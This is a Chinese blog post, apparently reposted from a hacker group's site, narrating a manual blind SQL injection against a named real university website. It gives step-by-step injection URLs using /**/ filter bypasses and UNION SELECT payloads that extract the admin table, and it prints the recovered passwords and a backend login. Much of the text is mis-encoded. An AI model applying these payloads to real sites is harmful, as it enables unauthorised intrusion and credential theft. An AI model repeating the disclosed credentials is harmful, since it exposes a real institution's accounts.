记一次曲折的jsp手工半盲注入
作者:YoCo Smart
來(lái)自:習(xí)科信息技術(shù) ***作戰(zhàn)營(yíng)
::{ Silic Group Hacker Army }::
site:http://blackbap.org
前些日子(似乎很久很久以前),小X在群里發(fā)了一個(gè)太平洋汽車網(wǎng)站的注入,jsp的,安敏似乎問(wèn)過(guò)她似乎也問(wèn)過(guò)我,還有誰(shuí)的,longlong ago了,記不清了,只記得當(dāng)時(shí)安敏似乎對(duì)jsp注入很驚奇,或者說(shuō)。。。總之印象很深。在補(bǔ)充書(shū)的最后素材時(shí),終于功夫不負(fù)有心人,找到了jsp絕好的實(shí)例,這里放出來(lái)分享下。網(wǎng)上jsp注入的實(shí)例似乎并不多,能拿來(lái)練的似乎就沒(méi)有。這里放一個(gè),供大家研究和學(xué)習(xí)。
jsp的注入沒(méi)什么特殊,注入并不取決于腳本,而是取決于數(shù)據(jù)庫(kù)的類型。例如這個(gè)jsp網(wǎng)站就用的MySql數(shù)據(jù)庫(kù),說(shuō)實(shí)話,如果他用Oracle呵呵我還真拿不下來(lái)。
好了,回到正文。
我找到的第一個(gè)注入點(diǎn)在這里:
http://cie.zjgsu.edu.cn/cie/web/newDetail.do?newsid=599
加了引號(hào)后出錯(cuò),加+and+1=1提示
?
and和1連一起了。那么把+換成/**/再來(lái)。這次返回的是正常頁(yè)面了,呵呵,真是樂(lè)死我了,居然用MySql數(shù)據(jù)庫(kù)。繼續(xù)1=2訪問(wèn)回顯錯(cuò)誤500頁(yè)面。好了,宣布開(kāi)始猜字段顯示位。我order by了半天,他一直一個(gè)提示:
http://cie.zjgsu.edu.cn/cie/web/newDetail.do?newsid=599/**/and/**/1=1/**/union/**/select/**/*/**/order/**/by/**/0
ORDER BY 子句中的位置號(hào) 0 超過(guò)了選擇列表中項(xiàng)數(shù)目。
http://cie.zjgsu.edu.cn/cie/web/newDetail.do?newsid=599/**/and/**/1=1/**/union/**/select/**/*/**/order/**/by/**/10000000
ORDER BY 子句中的位置號(hào) 10000000 超過(guò)了選擇列表中項(xiàng)數(shù)目。
難道是我的用法不對(duì)?好吧,我承認(rèn)學(xué)藝不精,你狠,沒(méi)關(guān)系,我比你還狠,來(lái),咱們union select一個(gè)一個(gè)來(lái),復(fù)制“,1”重復(fù)粘帖回車粘帖回車。。。。
http://cie.zjgsu.edu.cn/cie/web/newDetail.do?newsid=599/**/and/**/1=1/**/union/**/select/**/1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
我暈,都這么長(zhǎng)了,還是提示:
?
這接暈死。。。這么狠,看來(lái)這個(gè)注入點(diǎn)不能用啊。
沒(méi)轍,谷歌一下,看看人品怎樣。搜索:
site:cie.zjgsu.edu.cn inurl:.jsp?
還不少呢。選來(lái)選去,最后選了這個(gè)地方:
http://cie.zjgsu.edu.cn/cie/web/teacher_detail.jsp?id=130
加引號(hào)回車訪問(wèn),無(wú)錯(cuò)誤回顯,但是頁(yè)面到中間就斷了。
本以為是網(wǎng)速不行,中間丟包了。但是網(wǎng)速很快,刷新連眨眼都不用就顯示完頁(yè)面內(nèi)容了,刷新了好幾次一直都這樣斷。重新找了幾個(gè)頁(yè)面變量后面加引號(hào)竟然都這樣。而且是一個(gè)地方段掉的
變量后面加/**/and/**/1=1就又返回正常,但是如果/**/and/**/1=2就又?jǐn)嗔恕5谝淮我?jiàn)到這么詭異的注入點(diǎn)。要么就是有錯(cuò)誤回顯,要么就沒(méi)有,空白,哪還有html標(biāo)簽傳到一半的一半“<”就斷了的?
如果這是注入點(diǎn),那么成功率可能不高,要么跟上一個(gè)一樣,出不來(lái)字段數(shù),要么這就不是一個(gè)注入點(diǎn)。
不管那么多,死馬當(dāng)活馬醫(yī)先。
union select繼續(xù)猜字段數(shù),order by不能用,加一個(gè)回車加一個(gè)回車,重復(fù)到27個(gè),嘿,居然顯示正常頁(yè)面了,內(nèi)牛滿面啊。。。
http://cie.zjgsu.edu.cn/cie/web/teacher_detail.jsp?id=130/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
這不,顯示位就出來(lái)了?隨手+隨習(xí)慣,來(lái)了個(gè)/**/from/**/admin,呵,居然又是正常頁(yè)面,傳說(shuō)中的人品爆發(fā)降臨在我身上了?那么from /**/MySql.user呢。。暈,又是截?cái)嗔说捻?yè)面。看來(lái)注入點(diǎn)可用,admin字段存在,MySql數(shù)據(jù)庫(kù)無(wú)權(quán)。
字段名還懶得猜,隨手想先看看數(shù)據(jù)庫(kù)名,這一看不要緊,差點(diǎn)沒(méi)雷死我。
隨便找個(gè)顯示位,方上database()居然又出現(xiàn)錯(cuò)誤截?cái)唷!!M劭?#xff01;那么hex(database())呢。。。還是錯(cuò)誤。郁悶。
既然database函數(shù)不能用,老老實(shí)實(shí)猜吧。
進(jìn)入管理入口,看源代碼:
?
?
?
?
?
我猜管理員的字段名可能是aname和apsw
不過(guò)最后證明,我的猜測(cè)是錯(cuò)的。這個(gè)一會(huì)兒說(shuō)。先說(shuō)一段小插曲。
猜字段名的時(shí)候,發(fā)現(xiàn)字段中所有的函數(shù)都不能用。
load_file、concat、database()、user()、。。。。。任何一個(gè)都是錯(cuò)誤的,哪怕我來(lái)了一個(gè)hex(id)都顯示錯(cuò)誤。。我直接無(wú)語(yǔ)掉
正當(dāng)我“自暴自棄”的時(shí)候,突然發(fā)現(xiàn)靈感一現(xiàn)char(33)填入某字段,頁(yè)面顯示出了不起眼的"!",我暈。。。那么hex(5f)。。哦,居然顯示出來(lái)了。
看來(lái)字段被限制了執(zhí)行XX,管理員的杰作。
既然char(33)能顯示,那么如果字段名正確估計(jì)也能顯示,填入字段名為id,居然顯示出來(lái)字段數(shù)為5。
那么繼續(xù),猜幾個(gè)常用的字段名,管理員字段數(shù)居然出來(lái)了。管理員字段沒(méi)我想的那么復(fù)雜,user和pass而已
4號(hào)位置填user,14號(hào)位置填上pass回車訪問(wèn)
http://cie.zjgsu.edu.cn/cie/web/teacher_detail.jsp?id=130/**/and/**/1=2/**/union/**/select/**/1,2,3,user,5,6,7,8,9,10,11,12,13,pass,15,16,17,18,19,20,21,22,23,24,25,26,27/**/from/**/admin
就出來(lái)答案了
dbo和83088309明文啊。可是去后臺(tái)登陸,這個(gè)卻顯示錯(cuò)誤。我大概猜到是什么原因了,估計(jì)是序號(hào)的問(wèn)題。
原來(lái)的注入語(yǔ)句后面加個(gè)where條件句/**/where/**/id=5并且把原來(lái)語(yǔ)句中的user換回?cái)?shù)字,訪問(wèn)
http://cie.zjgsu.edu.cn/cie/web/teacher_detail.jsp?id=130/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,pass,15,16,17,18,19,20,21,22,23,24,25,26,27/**/from/**/admin/**/where/**/id=5
好了,這次密碼出來(lái)了:adminxxlab
密碼出來(lái)了,用戶名照樣搬就可以了,把pass換成user訪問(wèn)。
一開(kāi)始我想當(dāng)然的認(rèn)為user字段就是管理員的名稱字段,但是根據(jù)5樓所說(shuō),這個(gè)確實(shí)不是登錄名字段,登錄名稱字段另有其他。╮(╯_╰)╭無(wú)語(yǔ)了。以為是另成,當(dāng)時(shí)并沒(méi)深究下去,剛剛來(lái)看了5樓說(shuō)的,當(dāng)時(shí)確實(shí)是自己想當(dāng)然的犯了迷糊,這里特此更正下。
不過(guò)看這個(gè)密碼不用注都能猜到,用戶名就是admin
后臺(tái)登陸,瀑布汗,居然清一色的eweb。看源代碼,應(yīng)該是有人更早就進(jìn)來(lái)過(guò)了,把上傳組件部分注釋掉了
轉(zhuǎn)載于:https://blog.51cto.com/pnig0s1992/340250
總結(jié)
以上是生活随笔為你收集整理的记一次曲折的jsp手工半盲注入的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 总是梦到男友出轨预示什么
- 下一篇: 经常梦到狗咬我怎回事